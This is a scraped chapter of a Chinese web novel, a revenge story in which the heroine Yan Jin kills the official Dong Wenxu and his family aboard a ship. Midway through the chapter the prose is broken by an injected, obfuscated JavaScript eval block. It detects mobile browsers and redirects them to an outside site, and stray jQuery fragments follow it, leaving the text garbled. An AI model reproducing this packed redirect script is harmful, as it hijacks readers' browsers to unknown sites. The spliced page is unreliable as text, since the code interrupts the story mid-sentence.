第135章 夙愿

作品:《女本柔弱,一刀一个

    几人闻言,面色大变,扑通一声全数跪倒在地,就连董文旭也不例外。


    “别杀我们……”嫡子抢先开口,“我们有钱。这船上有很多很多金银珠宝,我们把它全部给你……”


    “还有我爹南下之后,要风得风,要雨得雨,你想要什么尽管提,我们都答应你。”


    “你能不能放了……”


    “天真!”一道女声打断了他的话。


    嫡子骤然抬头,却突然发现。


    由始至终女子面色冷漠,丝毫未见一丝动容,望向他们的目光,就像野兽在捕食猎物,锐利如刀。


    她说:“五年前,你们可有想过放颜府众人一条生路?”


    话音落下,整个船舱死一般寂静。


    水天相接,如墨天色里,官船灯火明明暗暗。


    有风自窗罅吹进,血臭味混着海腥气,仿佛来自阎罗殿的一缕缕幽魂,缭绕不散。


    几人脑袋被这话语炸得“轰”的一声,头皮好像有数条虫子在噬爬。


    尤其是董文旭,听到了什么禁忌,身子蓦地一僵。


    刚抬头,便对上女子居高临下,带着审视的凌厉,止不住的后怕疯狂涌上心头。


    “你该不会是颜府的人?”


    “没错。”女子斜睨了他一眼,将面前碍眼的椅子踢开,一步一步走上前。


    正手挽了个剑花,一剑砍向董文旭攥刀的手。


    大刀擦着小妾的脸颊而过,直接破开一大道口子,鲜血汩汩涌出。


    小妾痛呼一声,捂着脸,不停往后缩,视线扫过女子的裙摆。


    以及她脚下那只动弹不得,沾满鲜血的手。


    那是董文旭的手。


    此刻,女子边碾压,边冷声道:“我就是颜嵩的女儿,那个从死人堆里爬出来的恶鬼。”


    “你们当日如何屠我颜府满门,我今日就如何屠你们董氏一族!”


    董文旭面容极度扭曲,眸光像是淬了血:“你敢!”


    在这场厮杀中,董家早已处于败方,但他绝不会就此认输。


    哪怕杀手全军覆没,银钱毫无用处,但他还有最后的筹码。


    董文旭抬起头,勉强扯起嘴角,从牙齿缝里挤出一句话。


    “我可是太后的侄子!是昀亲王的表哥!你要是敢杀董家人,你以为你能活着走出盛京?”


    话音刚落下不过一瞬,却见女子并无半分犹豫,直接提剑,一刀插进他的右肩。


    笑着说:“你以为董嘉柔是因为受不住刑罚而自尽的?”


    “不,是我亲手了结的她。”


    董文旭愣了一瞬,随即青筋毕露,眼球瞪得几近暴裂。


    按着肩膀吃痛地大叫了起来:“你……你……你这个杀人凶手,你不得好死!”


    此刻,小妾再也冷静不下来。


    偷偷抬头,扫了眼神色晦暗的女子,瞥了瞥她手中沾满鲜血的剑刃,脑海一闪而过董嘉柔的下场。


    为了活命,恨不得将所有诱惑男子的手段使出来。


    她咬了咬牙,开口求饶:“颜二小姐饶命……”


    “我只是一个入不了族谱的妾室,我并非董家人。当年的一切都是他们做的,与我一点关系都没有。”


    “我是无辜的,求求颜二小姐开恩,放了我……”


    “呵———”颜衿挪了挪脚步,走至她跟前,低头冷笑,“你无辜?”


    “那我父亲、大哥、祖母,还有一众府里人,他们谁不无辜?”


    “可结果呢?”


    “他们死在了你们刀下。”


    颜衿边说边用剑尖挑开了小妾衣领,露出了里头穿着的金丝里衣。


    只是一个侍妾,就能穿上价值不菲的金丝面料,辅以江南特有的绣工。


    光是一件衣裳,不说面料,单是手工,耗时就得几个月。


    普通老百姓哪怕打一辈子长工也买不起一件。


    如果所有大晋官员与家眷都如董家一般,不为民生,只图私利,如何匡国?


    颜衿敛神,视线从衣裳滑到小妾脸上。


    直视着她水汪汪的大眼睛,一字一句问:“你穿这件衣裳的时候,有没有想过沾了多少人的鲜血?”


    这番动静,直把小妾吓得面色灰白,全身都在发抖,身下竟还淌出了一滩浑浊水迹。


    颜衿哂了一声,将剑收回。


    掏出帕子,边擦剑边说:“肖辞捉了你们,你们本该被律法千刀万剐。”


    “可让人寒心的是,不知从何时起,律法竟然沦为了权贵的保护符,它对你们这样的凶手毫无用处。”


    “庙堂之上,蛀虫可以为官,四海之内,禽兽也能食禄,佞臣当道,狼狈为奸之徒权倾朝野。”


    “以致江山社稷沦为争权夺利的工具,天下苍生饱受涂炭之苦。”


    “作为一国重臣,三品大员,不以建功立业为荣,反以结党营私为利。”


    “肆意屠杀同僚,纵容家眷闹事,无故戕害人命。”


    “岂不知天下百姓,皆愿生啖尔等血肉,安敢在此饶舌?”


    女子话语凌厉,锋芒在这一瞬全数毕露。


    一番斥责,几人听得神色骤变。


    若说方才的厮杀是将内心


    恨意有所隐藏,然而此刻,女子面上浮现的,是完完全全的,丝毫不加掩饰的痛恨。


    颜衿将擦得干干净净,一丝污垢也没有的剑尖直逼几人,声音冷而沉。


    “既然律法惩治不了你们,那我就做那把清君侧的刀,替天行道。”


    话音刚落,没再废话,也没给几人任何反应的机会。


    剑峰一转,瞬间抹了小妾脖子。


    鲜血喷溅到他们脸上,吓得余下三人哇哇大叫。


    随即抖如筛糠,惊恐地磕头:“别———别杀我!”


    颜衿丝毫没理会。


    目光慢慢滑落到穿着锦衣的两位公子上,那是董文旭的嫡子和庶子。


    “下一个,是你。”


    银光一闪,庶子连求饶的机会都没有,挣扎了几下,便彻底一动不动。


    颜衿将剑抽回,贴到嫡子脖颈上,声音冷得没有一点温度。


    “到你了。”


    “不———你不能杀我!”嫡子甩手,大喊。


    浑身颤抖地攀扯董文旭沾满血的胳膊,声嘶力吼道:“我是嫡子,我是董家的后人。”


    “我死了,董家就绝后了。”


    “爹,我不想死,你快想办法救救我!”


    董文旭跪着的双膝一软,身子耷拉下来,浑身无力。


    这一生,他奴颜卑膝了许多人,从未心甘情愿。


    唯有这一次


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258566|151624||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    他没顾身上撕裂的伤,不停磕头,哪怕头上全是血,也没有停下。


    嘴里一直念叨:“颜府的人是我杀的,和我儿无关。”


    “我只有这一个儿子了,你就可怜可怜我这个半截身子都快入土的人,能不能放过他?”


    颜衿握剑的手抖了抖,指骨攥得发白,眸光落在董文旭长了银丝的脑袋上。


    如果她的父亲没死,也能像他一样,长出几根银丝,慢慢变老。


    然而,永远也不会有如果。


    悲悯一闪而过,取而代之的是狠戾。


    她绝不会心软。


    安静不过一瞬的船舱,有声音自头顶落下,冷得就像隆冬腊月,簌簌坠下的檐上雪。


    “斩草就要除根,这是你教我的。”


    仍在磕头的董文旭还没来得及反应,“噗嗤”一声,剑刃划开骨肉,鲜血溅满窗纸。


    董文旭唇上血色一瞬褪尽,看着身侧沾满鲜血的儿子,双目涣散,已然放弃最后挣扎。


    “董大人。”女子轻唤。


    董文旭木讷抬起眼眸,却见她立在原地,手中剑仍在滴血。


    几缕细碎的火光跳跃其间,泛起朦胧的刺眼。


    此刻,女子宛如一朵盛开在烈焰中的黑牡丹,然而刻在血肉里的铮铮烈骨,让人难以忽视。


    一瞬之间,似有故人影子。


    那个只见过一面,却叫他心生忌惮的颜嵩。


    “二十五岁进士入仕,理当匡君辅国,兼济天下。”


    “然则趋炎附势,助纣为虐,不仅寸功未立,更有无数冤魂死于你手。”


    “若你还能苟活于世,那是社稷之耻,是百姓之灾,是大晋之辱。”


    颜衿提剑一指,剑尖直抵他心脏。


    “对了,临死之前,还得谢谢你告知我,谁才是最该杀之人。”


    董文旭瞳孔猛得一缩,然而,却没下一刻了。


    眼前一道银光穿过肉体,血珠顺着剑尖,滴答而下。


    他应声跪在女子跟前,头低垂着,看起来像在为五年前错误的选择而忏悔,又像在为深重的罪恶而求赎。


    这一刻,船上彻底没有动静。


    炎炎夏日,忽然卷来了一阵风,吹动女子额前掉落的碎发。


    颜衿眼睫微颤,盯着一地狼藉,热意从眸中翻滚而出。


    “爹,大哥……”


    “你们在天上看到了吗?”


    “阿衿真的做到了……”


    “阿衿给你们报了仇……”


    她抬头,望向天边那簇最亮的星宿。


    眸底深如寒潭,声音却很平静,如有千钧之力。


    “颜家满门,绝不是贪生怕死之徒,也绝不是外人口中人人得而诛之的大贪官……”


    “你们没能实现的夙愿,阿衿哪怕拼上这条命,也会替你们完成。”


    “更会替你们洗清冤屈。”


    平静的海面被风掀起了一点小涟漪,孤寂的圆月映在里头,猝不及防碎裂开来,一闪一闪的,惹人怜惜。


    颜衿将束衣剑收起来,掏出火折子,点燃,正欲一把火烧掉这艘贼船的时候。


    一阵急促的脚步声从船尾传来。


    负责望哨的谢霖神色惊恐道:“阿衿,东南方突然冒出了一艘官船,正往这边靠近!”